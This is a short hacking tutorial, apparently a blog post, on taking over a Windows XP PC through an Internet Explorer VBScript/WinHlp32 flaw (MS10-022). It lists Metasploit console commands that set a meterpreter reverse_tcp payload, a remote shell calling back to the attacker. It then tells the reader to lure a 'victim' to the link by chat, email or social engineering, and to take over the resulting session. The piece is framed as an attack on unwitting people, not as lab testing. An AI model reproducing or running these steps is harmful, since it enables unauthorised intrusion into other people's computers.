Hack Remote Windows XP PC using Internet Explorer Winhlp32.exe MsgBox Code Execution

This module exploits a code execution vulnerability that occurs when a user presses F1 on Message Box originated from VBscript within a web page. When the user hits F1, the Message Box help functionality will attempt to load and use a HLP file from an SMB or WebDAV (if the WebDAV redirector is enabled) server. This particular version of the exploit implements a WebDAV server that will serve HLP file as well as a payload EXE. During testing warnings about the payload EXE being unsigned were witnessed. A future version of this module might use other methods that do not create such a warning.

Exploit Targets

Windows XP service pack 2

Windows XP service pack 3

Internet Explorer 5, 6, 7


Attacker: Backtrack 5

Victim PC: Windows XP

Open backtrack terminal type msfconsole

Now type use exploit/windows/browser/ms10_022_ie_vbscript_winhlp32

Msf exploit (ms10_022_ie_vbscript_winhlp32)>set payload windows/meterpreter/reverse_tcp

Msf exploit (ms10_022_ie_vbscript_winhlp32)>set lhost (IP of Local Host)

Msf exploit (ms10_022_ie_vbscript_winhlp32)>set srvhost (This must be an address on the local machine)

Msf exploit (ms10_022_ie_vbscript_winhlp32)>set uripath / (The Url to use for this exploit)

Msf exploit (ms10_022_ie_vbscript_winhlp32)>exploit

Now an URL you should give to your victim //

Send the link of the server to the victim via chat or email or any social engineering technique.

Now you have access to the victims PC. Use “Sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“ 

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